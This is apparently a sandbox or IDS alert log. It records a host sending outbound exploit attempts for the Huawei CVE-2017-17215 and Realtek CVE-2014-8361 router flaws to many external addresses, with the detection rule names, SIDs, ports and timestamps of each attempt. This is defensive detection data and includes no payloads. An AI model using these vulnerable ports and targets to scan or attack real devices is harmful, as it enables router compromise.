Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 12.22.103.21

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	43512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.202.137.63

Timestamp:	07/20/24-23:01:26.110241
SID:	2027339
Source Port:	35770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.39.87.115

Timestamp:	07/20/24-23:01:45.298540
SID:	2027339
Source Port:	58416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.1.160.57

Timestamp:	07/20/24-23:01:01.875100
SID:	2025132
Source Port:	40704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.139.123.246

Timestamp:	07/20/24-23:01:47.032369
SID:	2027339
Source Port:	56572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.50.158.70

Timestamp:	07/20/24-23:01:44.878540
SID:	2831300
Source Port:	42798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.111.39.192

Timestamp:	07/20/24-23:01:47.569820
SID:	2027339
Source Port:	59610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.179.46.173

Timestamp:	07/20/24-23:01:53.459445
SID:	2027339
Source Port:	56400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.209.32.105

Timestamp:	07/20/24-23:01:42.509003
SID:	2027339
Source Port:	43184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.68.190

Timestamp:	07/20/24-23:00:57.221557
SID:	2829579
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.87.44.29

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	40944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.37.35.33

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	49758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.31.233.114

Timestamp:	07/20/24-23:01:42.653653
SID:	2025132
Source Port:	40142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.99.89.219

Timestamp:	07/20/24-23:01:46.092258
SID:	2831300
Source Port:	55428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.5.79.111

Timestamp:	07/20/24-23:01:57.297792
SID:	2027339
Source Port:	36240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.255.198.47

Timestamp:	07/20/24-23:01:51.500991
SID:	2027339
Source Port:	49978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.117.210.216

Timestamp:	07/20/24-23:01:45.144955
SID:	2027339
Source Port:	57898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.230.67.6

Timestamp:	07/20/24-23:01:26.000956
SID:	2027339
Source Port:	39884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.110.77.22

Timestamp:	07/20/24-23:02:06.083203
SID:	2025132
Source Port:	51036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.160.62.15

Timestamp:	07/20/24-23:01:42.280419
SID:	2027339
Source Port:	40114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.69.91

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	57218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.0.169.170

Timestamp:	07/20/24-23:01:02.374539
SID:	2025132
Source Port:	54890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.83.139.165

Timestamp:	07/20/24-23:01:24.603339
SID:	2027339
Source Port:	56536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.32.87.120

Timestamp:	07/20/24-23:01:31.320679
SID:	2027339
Source Port:	50886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.76.42.20

Timestamp:	07/20/24-23:01:52.678633
SID:	2027339
Source Port:	37760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.248.72.169

Timestamp:	07/20/24-23:01:42.953491
SID:	2831300
Source Port:	35740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.234.87.122

Timestamp:	07/20/24-23:01:58.885082
SID:	2831300
Source Port:	42284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.71.115.72

Timestamp:	07/20/24-23:01:50.212921
SID:	2025132
Source Port:	43722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.93.255.182

Timestamp:	07/20/24-23:01:41.947663
SID:	2831300
Source Port:	45862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.90.77.175

Timestamp:	07/20/24-23:01:48.649139
SID:	2027339
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.109.210.254

Timestamp:	07/20/24-23:01:42.608320
SID:	2831300
Source Port:	53230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.244.160.188

Timestamp:	07/20/24-23:01:42.745651
SID:	2027339
Source Port:	36060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.27.18.74

Timestamp:	07/20/24-23:01:51.288562
SID:	2025132
Source Port:	38702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.18.195.93

Timestamp:	07/20/24-23:01:03.482119
SID:	2025132
Source Port:	35784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.204.221.162

Timestamp:	07/20/24-23:02:43.182629
SID:	2025132
Source Port:	45054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.120.228.47

Timestamp:	07/20/24-23:01:57.269160
SID:	2027339
Source Port:	53070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.250.134.170

Timestamp:	07/20/24-23:01:08.572196
SID:	2831300
Source Port:	50430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.101.61.62

Timestamp:	07/20/24-23:01:43.164529
SID:	2027339
Source Port:	60322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.251.124.204

Timestamp:	07/20/24-23:01:41.182584
SID:	2027339
Source Port:	52454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.119.24.21

Timestamp:	07/20/24-23:01:43.197088
SID:	2831300
Source Port:	41930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 81.50.220.234

Timestamp:	07/20/24-23:01:53.308763
SID:	2831300
Source Port:	53860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.169.172.215

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	56778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.208.103

Timestamp:	07/20/24-23:01:04.082385
SID:	2829579
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.29.110.76

Timestamp:	07/20/24-23:01:40.285038
SID:	2835222
Source Port:	46210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.13.238.183

Timestamp:	07/20/24-23:01:45.294002
SID:	2025132
Source Port:	37170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.175.156

Timestamp:	07/20/24-23:01:31.979565
SID:	2829579
Source Port:	45832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.212.169.191

Timestamp:	07/20/24-23:01:42.460493
SID:	2027339
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 4.154.54.81

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.100.148.20

Timestamp:	07/20/24-23:01:46.323644
SID:	2027339
Source Port:	53882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.183.76.230

Timestamp:	07/20/24-23:01:44.749294
SID:	2027339
Source Port:	56020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.97.74.140

Timestamp:	07/20/24-23:01:04.751333
SID:	2025132
Source Port:	49320
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.181.226.152

Timestamp:	07/20/24-23:01:31.313382
SID:	2831300
Source Port:	39784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.198.8.37

Timestamp:	07/20/24-23:01:44.921789
SID:	2027339
Source Port:	53216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.181.35.71

Timestamp:	07/20/24-23:01:04.985241
SID:	2025132
Source Port:	44076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 166.117.175.116

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.114.239.111

Timestamp:	07/20/24-23:01:08.619598
SID:	2027339
Source Port:	36368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.129.141

Timestamp:	07/20/24-23:01:31.976795
SID:	2835222
Source Port:	46866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.27.97.229

Timestamp:	07/20/24-23:01:08.594120
SID:	2831300
Source Port:	39454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.4.197

Timestamp:	07/20/24-23:01:40.334934
SID:	2835222
Source Port:	44412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.125.71.143

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	46780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.147.32.222

Timestamp:	07/20/24-23:01:42.769238
SID:	2831300
Source Port:	37584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.175.188.159

Timestamp:	07/20/24-23:01:43.810783
SID:	2027339
Source Port:	49636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.172.129

Timestamp:	07/20/24-23:01:11.633481
SID:	2835222
Source Port:	53114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.210.88.179

Timestamp:	07/20/24-23:01:55.296002
SID:	2027339
Source Port:	41596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.190.17

Timestamp:	07/20/24-23:01:20.152427
SID:	2835222
Source Port:	54164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.48.180.48

Timestamp:	07/20/24-23:01:46.158533
SID:	2025132
Source Port:	54662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.151.239

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	55502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.74.227.91

Timestamp:	07/20/24-23:01:08.630327
SID:	2831300
Source Port:	55212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.92.216.124

Timestamp:	07/20/24-23:01:25.468217
SID:	2025132
Source Port:	54598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.1.75.175

Timestamp:	07/20/24-23:01:59.234149
SID:	2025132
Source Port:	44354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.182.86.76

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	40992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.208.92.27

Timestamp:	07/20/24-23:01:01.371551
SID:	2025132
Source Port:	43256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.49.61.251

Timestamp:	07/20/24-23:01:44.527952
SID:	2027339
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.186.238.85

Timestamp:	07/20/24-23:01:42.452119
SID:	2831300
Source Port:	41008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.130.71.37

Timestamp:	07/20/24-23:01:49.660516
SID:	2027339
Source Port:	34708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.9.101.249

Timestamp:	07/20/24-23:01:44.368405
SID:	2025132
Source Port:	51762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.221.8.145

Timestamp:	07/20/24-23:01:47.990801
SID:	2025132
Source Port:	40110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.69.194.148

Timestamp:	07/20/24-23:01:31.311969
SID:	2027339
Source Port:	46830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.254.203.194

Timestamp:	07/20/24-23:01:42.650744
SID:	2025132
Source Port:	53702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 57.18.83.1

Timestamp:	07/20/24-23:01:07.004907
SID:	2829579
Source Port:	46144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.43.240.212

Timestamp:	07/20/24-23:01:41.276434
SID:	2025132
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.109.210.254

Timestamp:	07/20/24-23:01:41.347676
SID:	2027339
Source Port:	52512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.12.203.144

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	47304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.254.84.115

Timestamp:	07/20/24-23:01:08.626717
SID:	2831300
Source Port:	34632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.31.132.7

Timestamp:	07/20/24-23:01:45.261796
SID:	2025132
Source Port:	49158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.127.2.156

Timestamp:	07/20/24-23:01:42.115230
SID:	2027339
Source Port:	60698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.252.220.138

Timestamp:	07/20/24-23:01:45.270636
SID:	2831300
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.112.45.111

Timestamp:	07/20/24-23:01:47.253863
SID:	2027339
Source Port:	49652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.152.137.9

Timestamp:	07/20/24-23:01:12.861753
SID:	2831300
Source Port:	43498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.251.112.155

Timestamp:	07/20/24-23:01:45.119426
SID:	2027339
Source Port:	52300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.85.109.63

Timestamp:	07/20/24-23:01:44.940207
SID:	2027339
Source Port:	41092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.161.89.160

Timestamp:	07/20/24-23:01:45.202570
SID:	2027339
Source Port:	53546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.56.81.141

Timestamp:	07/20/24-23:01:51.925038
SID:	2025132
Source Port:	36862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.220.216.2

Timestamp:	07/20/24-23:02:11.592030
SID:	2027339
Source Port:	56472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.29.56.156

Timestamp:	07/20/24-23:01:02.773260
SID:	2027339
Source Port:	38564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.252.196.177

Timestamp:	07/20/24-23:01:44.713195
SID:	2831300
Source Port:	55648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.4.188

Timestamp:	07/20/24-23:01:11.662969
SID:	2829579
Source Port:	51076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.180.101.209

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	40666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.114.148.67

Timestamp:	07/20/24-23:01:00.636534
SID:	2829579
Source Port:	60674
